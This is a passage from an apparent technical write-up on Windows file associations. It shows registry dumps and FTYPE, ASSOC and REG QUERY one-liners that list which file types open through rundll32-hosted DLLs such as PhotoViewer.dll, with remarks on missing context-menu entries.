    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.fon
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.ItemTypeText;System.Copyright
    InfoTip    REG_SZ    prop:System.Title;System.ItemTypeText
    QuickTip    REG_SZ    prop:System.Title;System.ItemTypeText
    TileInfo    REG_SZ    prop:System.Title;System.ItemTypeText

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.otf
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.ItemTypeText;System.Company;System.FileVersion;System.Fonts.FontEmbeddability;System.Author;System.Copyright;System.Trademarks;System.FileDescription;DRM Description
    InfoTip    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText
    QuickTip    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText
    TileInfo    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ttc
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.ItemTypeText;System.Company;System.FileVersion;System.Fonts.FontEmbeddability;System.Author;System.Copyright;System.Trademarks;System.FileDescription;DRM Description
    InfoTip    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText
    QuickTip    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText
    TileInfo    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ttf
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.ItemTypeText;System.Company;System.FileVersion;System.Fonts.FontEmbeddability;System.Author;System.Copyright;System.Trademarks;System.FileDescription;DRM Description
    InfoTip    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText
    QuickTip    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText
    TileInfo    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wri
    PerceivedType    REG_SZ    document

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rtf
    PerceivedType    REG_SZ    document

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rtf\DefaultIcon
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE",1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rtf\shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rtf\shell\open

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rtf\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rtf\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rtf\ShellEx\{8895b1c6-b41f-4c1c-a562-0d564250836f}
    (Default)    REG_SZ    {a42c2ccb-67d3-46fa-abe6-7d2f3488c7a3}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.odt\DefaultIcon
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE",3

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.odt\shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.odt\shell\open

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.odt\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.doc
    ExtendedTileInfo    REG_SZ    prop:System.ItemTypeText;System.Size;System.DateModified;System.Author;System.OfflineAvailability
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Keywords;System.Category;System.Comment;System.PropGroup.Origin;System.Author;System.Document.LastAuthor;System.Document.RevisionNumber;System.Document.Version;System.ApplicationName;System.Company;System.Document.Manager;System.Document.DateCreated;System.Document.DateSaved;System.Document.DatePrinted;System.Document.TotalEditingTime;System.PropGroup.Content;System.ContentStatus;System.ContentType;System.Document.PageCount;System.Document.WordCount;System.Document.CharacterCount;System.Document.LineCount;System.Document.ParagraphCount;System.Document.Template;System.Document.Scale;System.Document.LinksDirty;System.Language;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemTypeText;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemTypeText;System.Size;System.DateModified;System.Document.PageCount
    PerceivedType    REG_SZ    document

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.docx\DefaultIcon
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE",2

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.docx\shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.docx\shell\open

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.docx\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.xps
    InfoTip    REG_SZ    prop:System.ItemType;System.Size;System.DateModified;*System.Author;*System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Size;System.DateModified;System.Author;System.OfflineAvailability
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Keywords;System.Category;System.Comment;System.PropGroup.Origin;System.Author;System.Document.LastAuthor;System.Document.RevisionNumber;System.Document.Version;System.Document.DateCreated;System.Document.DateSaved;System.Document.DatePrinted;System.PropGroup.Content;System.ContentStatus;System.ContentType;System.Language;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Size;System.Title;System.Author;System.Keywords;System.Category;System.ContentStatus;System.ContentType;*System.OfflineAvailability;*System.OfflineStatus;*System.FileOwner;System.Subject;System.Comment;*System.DateCreated;*System.FileAttributes;*System.SharedWith;*System.ComputerName;*System.Document.LastAuthor;*System.Document.DateCreated;*System.Document.DateSaved;*System.Document.DatePrinted

OUCH¹: only 3 (in words: three) file extensions supported by a single of the 33 dedicated applications named above are registered with entries for the context menu – .rtf, .odt and .docx for WordPad!

OOPS: the 12 other highlighted file extensions are supported by Paint and via the Windows host process (Rundll32) RunDLL32.exe by the Windows Photo Viewer DLL PhotoViewer.dll too, but registered only for the latter!

Display the Programmatic Identifiers and the command line templates associated with file extensions supported by applications implemented in DLLs executed via Windows host process (Rundll32) instead of dedicated applications:

FTYPE | FIND.EXE /I "RunDll32"

Application.Manifest=C:\Windows\system32\rundll32.exe C:\Windows\system32\dfshim.dll,ShOpenVerbApplication %1
Application.Reference=C:\Windows\system32\rundll32.exe C:\Windows\system32\dfshim.dll,ShOpenVerbShortcut %1|%2
CATFile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\cryptext.dll,CryptExtOpenCAT %1
CERFile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\cryptext.dll,CryptExtOpenCER %1
CertificateStoreFile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\cryptext.dll,CryptExtOpenSTR %1
CRLFile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\cryptext.dll,CryptExtOpenCRL %1
icofile=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
IE.AssocFile.URL="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
InternetShortcut="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
jpegfile=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
MSDASC=%SystemRoot%\system32\Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
MSSppPackageFile=rundll32.exe sppcc.dll, OpenPackage %1
msstylesfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
P7RFile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\cryptext.dll,CryptExtOpenP7R %1
P7SFile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\cryptext.dll,CryptExtOpenPKCS7 %1
PhotoViewer.FileAssoc.Bitmap=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
PhotoViewer.FileAssoc.JFIF=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
PhotoViewer.FileAssoc.Jpeg=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
PhotoViewer.FileAssoc.Png=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
PhotoViewer.FileAssoc.Wdp=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
pjpegfile=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
pngfile=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
prffile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
ratfile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
rlogin="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
SPCFile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\cryptext.dll,CryptExtOpenPKCS7 %1
STLFile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\cryptext.dll,CryptExtOpenCTL %1
telnet="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Themes /Action:OpenTheme /file:"%1"
themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Themes /Action:OpenTheme /file:"%1"
TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
tn3270="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
WCN.AutoPlayHandler=%systemroot%\system32\rundll32.exe %systemroot%\system32\wzcdlg.dll,ImportFlashProfile %L
wcxfile=C:\Windows\system32\rundll32.exe C:\Windows\system32\xwizards.dll,RunWizard /u {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z%1
wdpfile=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1

Display the file extensions associated with these 37 Programmatic Identifiers:

1>whisper.txt (FOR /F "Delims==" %? IN ('FTYPE ^| FIND.EXE /I "RunDll32"') DO @ECHO =%?)
FOR /F "Delims==" %? IN ('ASSOC ^| FINDSTR.EXE /E /G:whisper.txt') DO @ECHO %?

.application
.appref-ms
.bmp
.cat
.cer
.crl
.crt
.der
.dib
.ico
.jfif
.jpe
.jpeg
.jpg
.msstyles
.p7b
.p7r
.p7s
.pem
.png
.prf
.qds
.rat
.slupkg-ms
.spc
.sst
.stl
.theme
.themepack
.tif
.tiff
.tvp
.udl
.url
.wcx
.wdp

Finally display the registry entries for these 36 file extensions:

FOR /F "Delims==" %? IN ('ASSOC ^| FINDSTR.EXE /E /G:whisper.txt') DO @(
REG.EXE QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\%? /S) 2>NUL:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions;*System.Size
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions;*System.Size
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions;*System.Size
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
